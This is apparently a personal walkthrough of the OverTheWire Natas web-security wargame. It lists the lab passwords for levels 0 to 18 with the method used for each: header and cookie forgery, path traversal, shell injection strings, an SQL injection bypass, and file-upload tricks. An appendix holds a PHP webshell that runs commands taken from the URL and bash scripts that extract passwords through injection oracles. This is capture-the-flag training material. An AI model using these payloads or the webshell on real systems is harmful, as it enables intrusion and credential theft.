natas0: natas0
natas1: 0nzCigAq7t2iALyvU9xcHlYN4MlkIwlq
	View source
natas2: TguMNxKo1DSa1tujBLuZJnDUlCcUAPlI
	View source + enable absolute mode (browser extension)
natas3: 3gqisGdR0pjm6tpkDKdIWO2hSvchLeYH
	There's a tracking pixel `<img src="files/pixel.png">` so checking
	out the `files/` directory we find `files/users.txt`

natas4: QryZXc2e0zahULdHrtHxzyYkj59kUxLQ
	Check `robots.txt`
natas5: 0n35PkggAPm2zbEpOU802c0x0Msn1ToK
	Forge the HTTP "Referer" header
	```bash
	http -F \                                                 # follow redirects
		 -a natas4:QryZXc2e0zahULdHrtHxzyYkj59kUxLQ \         # auth
		 http://natas4.natas.labs.overthewire.org/index.php \ # host
		 "Referer: http://natas5.natas.labs.overthewire.org/" # forgery
	```
natas6: 0RoJwHdSKWFTYR5WuiAewauSuNaBXned
	Forge your cookie to be "loggedIn: 1"
natas7: bmg8SvU1LizuWjx3y7xkNERkHxGre0GS
	The source references "includes/secret.inc", navigate here
	then put the secret into the search widget.
natas8: xcoXLmzMkoIP9D7hlgPlh9XD7OgLAe5Q
	Exploit how `index.php` selects the page to load
	http://natas7.natas.labs.overthewire.org/index.php?page=../../../../etc/natas_webpass/natas8
natas9: ZE1ck82lmdGIoErlhQgWND6j2Wzz6b6t
	Find the encoded secret in the source code, decode in python via:
	`base64.b64decode(bytes.fromhex(encoded)[::-1]).decode()`
natas10: t7I5VHvpa14sJTUGV0cbEsbYfFP2dmOu
	Bash injection with the following input
	`a b &>/dev/null | cat /etc/natas_webpass/natas10 #`
natas11: UJdqkK1pTu6VLt9UHWAgRZz6sVUZ3lEk
	Another bash injection
	`. /etc/natas_webpass/natas11 #`
natas12: yZdkjAYZRd3R7tq7T5kXMjMJlOIkzDeB
	Exploit that the cookie is in a known format, simply xor
	with a known plaintext and see what key repeats. Then use
	that key to forge a new cookie with `"showpassword":"yes"`.
	NOTE: see [[#Natas11 Solution Script|Appendix/"Natas11 Solution Script"]]
natas13: trbs5pCjCrkuSknBBKHhaBxq6Wm1j3LC
	Exploit the fact that the upload path is stored in a hidden field of the form,
	use Inspect Element to modify this upload path to be `.php` not `.jpg`. Upload
	a php webshell (payload and methodology can vary though). Then navigate there.
	Via the webshell `cat /etc/natas_webpass/natas13`
	NOTE: see [[#Natas12 Solution Script|Appendix/"Natas12 Solution Script"]]
natas14: z3UYcr4v4uBpeX8f7EZbMHlzK4UR2XtQ
	Exploit MIME type detection and size limit by generating a tiny 1x1 jpg
	and adding a php script to the end. I used the same webshell as I did for natas13.
	Then use `cat image.jpg webshell.php > payload.php`. This will be detected
	as a jpg and will be viewable as a jpg, modify the hidden form field again
	(same as for natas13) and change file path to `.php`.
	NOTE: image generation via `magick -size 1x1 pattern:checkerboard image.jpg`
natas15: SdqIqBsFcz3yotlNYErZSZwblkm0lrvx
	Exploit SQL injection for the query: 
```sql
SELECT * from users where username="{username}" and password="{password}"
```
	Injection Parameters: username:`" or 1=1--`, password:`" --`
natas16: hPkjKYviLQctEW33QmuXL6eDVfMW4sGo
	Use the website as an oracle under an SQL injection.
	NOTE: see [[#Natas15 Solution Script|Appendix/"Natas15 Solution Script"]]
natas17: EqjHJbo7LFNb8vwhHb9s75hokh5TF0OC
	Another oracle attack using an SQL injection. Specifically guess the
	password character by character using `grep` to return NOTHING on failure
	and the entire password on match `  echo "\$(grep ^<GUESS>.* /etc/natas_webpass/natas17)"`
	which will either dump the entire dictionary or nothing (respectively).
	NOTE: see [[#Natas16 Solution Script|Appendix/"Natas16 Solution Script"]]
natas18: 6OG1PbKdVjyBlpxgD4DDbRG6ZLlCGgCJ
	Another oracle attack using an SQL injection AND this time
	using a timing based attack.
	NOTE: see [[#Natas17 Solution Script|Appendix/"Natas17 Solution Script"]]
	
natas19:
natas20:




### Learnings
SQL Comments for injections
	An appended space character is sometimes required ie `-- ` not `--`.

### Appendix:
###### Natas11 Solution Script
```python
import base64 as b64

PLAINTEXT = '''{"showpassword":"no","bgcolor":"#ffffff"}'''
COOKIE = 'HmYkBwozJw4WNyAAFyB1VUcqOE1JZjUIBis7ABdmbU1GIjEJAyIxTRg='
FORGED_PLAINTEXT = '''{"showpassword":"yes","bgcolor":"#ffffff"}'''



def xorbytes(x: bytes, y: bytes) -> bytes:
    Lx, Ly = len(x), len(y)
    if Lx < Ly: return xorbytes(y, x)
    
    return bytes(x[i]^y[i%Ly] for i in range(Lx))
        
def extract_key(k: bytes) -> tuple[bytes, int] | None:
    Lk = len(k)
    substr = b''
    length = 0
    for i in range(Lk):
        substr += k[i:i+1]
        length += 1 
        if k == substr*(Lk//length) + substr[:Lk%length]:
            return substr, length
    return None


def main() -> None:
    plaintext = PLAINTEXT.encode()
    cookie    = b64.b64decode(COOKIE)
    decoded   = xorbytes(cookie, plaintext)
    print('Modulated Key:', ''.join(chr(x) for x in decoded))
    key, key_size = extract_key(decoded)

    forged_cookie = b64.b64encode(xorbytes(FORGED_PLAINTEXT.encode(), key))
    print('Forged:', forged_cookie)
    

if __name__ == '__main__':
    try:
        main()
    except (KeyboardInterrupt, EOFError):
        print('\n[!] Interrupt')
```

###### Natas12 Solution Script
```php
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
    if(isset($_GET['cmd']))
    {
        system($_GET['cmd'] . ' 2>&1');
    }
?>
</pre>
</body>
</html>
```


###### Natas15 Solution Script
```bash
#!/usr/bin/env bash

req() {
  curl http://natas15.natas.labs.overthewire.org/index.php \
       -X POST \
       -u natas15:SdqIqBsFcz3yotlNYErZSZwblkm0lrvx \
       -d "username=natas16\" and $1 -- " \
       -sS \
    | grep exists &>/dev/null
}

# ie `guess_length "=32"` or `guess_length ">32"`
guess_length() {
  req "length(password)$1"
}

get_length() {
  echo "[*] Guessing length"
  local MIN=${1:-1}
  local MAX=${2:-100}
  # local PADMAX=${#MAX}
  local FGUESS="%${#MAX}s - %-${#MAX}s"
  while true; do
    printf "[-] Guess: $FGUESS\r" $MIN $MAX
    if [ $((MAX-MIN)) -eq 1 ]; then
      break
    fi;
    
    local MID=$(( (MAX+MIN)/2 ))
    guess_length ">$MID" && MIN=$MID || MAX=$MID
  done
  printf "[+] Found: $FGUESS\n" $MIN $MAX
  return $MAX
}

LOWER="abcdefghijklmnopqrstuvwxyz"
UPPER="ABCDEFGHIJKLMNOPQRSTUVWXYZ"
DIGIT="0123456789"

guess_regex() {
  req "regexp_like(password, '^$1[a-zA-Z0-9]*\$', 'c')"
}

exploit_oracle() {
  echo "[@] Forcing oracle exploit"
  local PREFIX=""
  local LENGTH=$1

  while true; do
    if [ "${#PREFIX}" = "$LENGTH" ]; then
      break
    fi
    
    for chars in $LOWER $UPPER $DIGIT; do
      local MIN=1
      local MAX=${#chars}
    
      local RANGE="[${chars:MIN-1:1}-${chars:MAX-1:1}]"
      echo -en "[*] ?? $RANGE\r"
      guess_regex "$PREFIX$RANGE$POSTFIX" || continue
      echo "[+] Found[CHARSET]: $chars"

      local MID=$(( (MAX+MIN)/2 ))
      while true; do
        echo -en "[*] Guess: $RANGE\r"
        if [ $((MAX-MIN)) -eq 1 ]; then
          if guess_regex "$PREFIX${chars:MIN-1:1}"; then
            PREFIX="${PREFIX}${chars:MIN-1:1}"
          else
            PREFIX="${PREFIX}${chars:MAX-1:1}"
          fi
          echo -e "[+] Update: ${chars:MAX-1:1} -> $PREFIX"
          break
        fi;
    
        MID=$(( (MAX+MIN)/2 ))
        RANGE="[${chars:MIN-1:1}-${chars:MID-1:1}]"
        guess_regex "$PREFIX$RANGE" && MAX=$MID || MIN=$MID
      done
      break
    done
  done
  printf "[+] Found: $FGUESS\n" $MIN $MAX
}

get_length
LENGTH=$?
exploit_oracle "$LENGTH"
```

###### Natas16 Solution Script
```sh
#!/usr/bin/env bash

fcmd() {
  # echo '$(grep ^$1[a-zA-Z0-9]*$ /etc/natas_webpass/natas17)'
  echo "\$(grep ^$1.* /etc/natas_webpass/natas17)"
}

req() {
  curl http://natas16.natas.labs.overthewire.org/index.php \
       -X POST \
       -u natas16:hPkjKYviLQctEW33QmuXL6eDVfMW4sGo \
       -d "needle=$1" \
       -sS \
    | grep --after-context 2 "<pre>" \
    | tail -n1 \
    | grep "African" &>/dev/null
}

CHARSET="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"
KNOWN=""
GUESS=""
for ((i=0 ; i < 32 ; i++)); do
  for ((j=0; j<${#CHARSET}; j++)); do
    c=${CHARSET:j:1}
    GUESS="$KNOWN$c"
    echo -en "[*] Guess: $GUESS                                  \r"
    # echo $(fcmd $guess)
    req "$(fcmd $GUESS)" || break # && KNOWN=$guess # && break
  done
  KNOWN=$GUESS
  echo -en "[+] Known: $KNOWN\n                                    "
done
echo
```